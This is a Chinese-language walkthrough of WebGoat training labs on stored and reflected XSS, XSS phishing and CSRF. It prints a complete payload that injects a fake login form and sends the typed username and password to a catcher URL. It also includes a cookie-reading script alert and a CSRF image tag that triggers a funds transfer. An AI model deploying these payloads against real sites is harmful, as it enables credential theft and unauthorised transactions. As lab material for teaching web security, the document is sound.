WebGoat系列實驗Cross-Site Scripting (XSS)
PhishingTitle
- 本次實驗是在一個已知存在XSS漏洞的頁面進行釣魚攻擊。通過使用XSS與HTML注入,在頁面中注入身份認證html代碼,添加javascript腳本收集身份認證信息,並發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
- 輸入以下javascript代碼。(之前這個位置提交的javascript代碼沒有顯示出來,原來是因為源代碼被過濾掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
- 在偽造的輸入框中輸入用戶名與密碼,點擊login按鈕,用戶的登錄認證信息就被發送到構造的頁面中了。

LAB: Cross Site Scripting
Stage 1:Stored XSS
- 作為Tom,在個人簡介編輯頁執行存儲型XSS攻擊,驗證Jerry會受到攻擊影響。
- 使用Tom登錄,修改Tom的個人簡介編輯頁的街道一欄,在其后添加,更新個人信息。

- 使用Jerry登錄,選擇Tom的個人信息進行查看,彈窗表明存儲型XSS攻擊成功。
Stage 2:Block Stored XSS using Input Validation
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage3:Stored XSS Revisited
驗證Bruce的個人簡介中包含有XSS攻擊,使用David用戶登錄,查看Bruce的個人簡介,出現彈窗,表明存在XSS攻擊。
Stage4:Block Stored XSS using Output Encoding
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stage5:Reflected XSS
- 利用查找職工頁面的缺陷制作一個包含有反射型XSS的URL,驗證其他使用這個鏈接的用戶也會受到攻擊影響。
- 使用用戶Larry登錄,在Search Staff搜索框中輸入。
Stage6:Block Reflected XSS
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Stored XSS Attacks
- 清除所有的輸入是一個很好的選擇,尤其是清除那些將被用作參數使用的輸入。對於在應用程序中永久存儲的內容特別重要。當用戶的消息被檢索時,不能出現不期望的消息內容。
- 在輸入的內容中添加javascript代碼,點擊Submit按鈕。

- 點擊生成的文章鏈接,會顯示一個彈窗,表明頁面存在存儲型XSS。
Reflected XSS Attacks
- 在服務器端驗證所有輸入是一個很好的選擇。未驗證的用戶輸入可能會在HTTP響應中出現XSS。攻擊者可以創建一個URL,通過讓受害者點擊的方式進行XSS攻擊。
- 在digit access code框中添加
<script>alert(document.cookie);</script>
,點擊Purchase按鈕完成。
Cross Site Request Forgery (CSRF)
- 實驗需要向新聞組發送一封email。在email中包含一張圖片,圖片的URL指向一個惡意請求。實驗中,URL應指向attack servlet,參數有Screen與menu,還有一個額外的參數transferFunds帶有任意數值。收件人剛好進行身份認證,正在轉移資金。
- 構造一封郵件,在Message后添加一張圖片,根據Screen與menu值構造URL,圖片的javascript代碼為
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>
。
3. 當收件人打開這封email時,由於自身身份已經認證,因此賬戶被轉移了5000。
CSRF Prompt By-Pass
- 實驗需要向新聞組發送email包含以下惡意請求,首先轉賬,然后請求提示確認。
- 在email的正文中輸入如下javascript代碼。

CSRF Token By-Pass

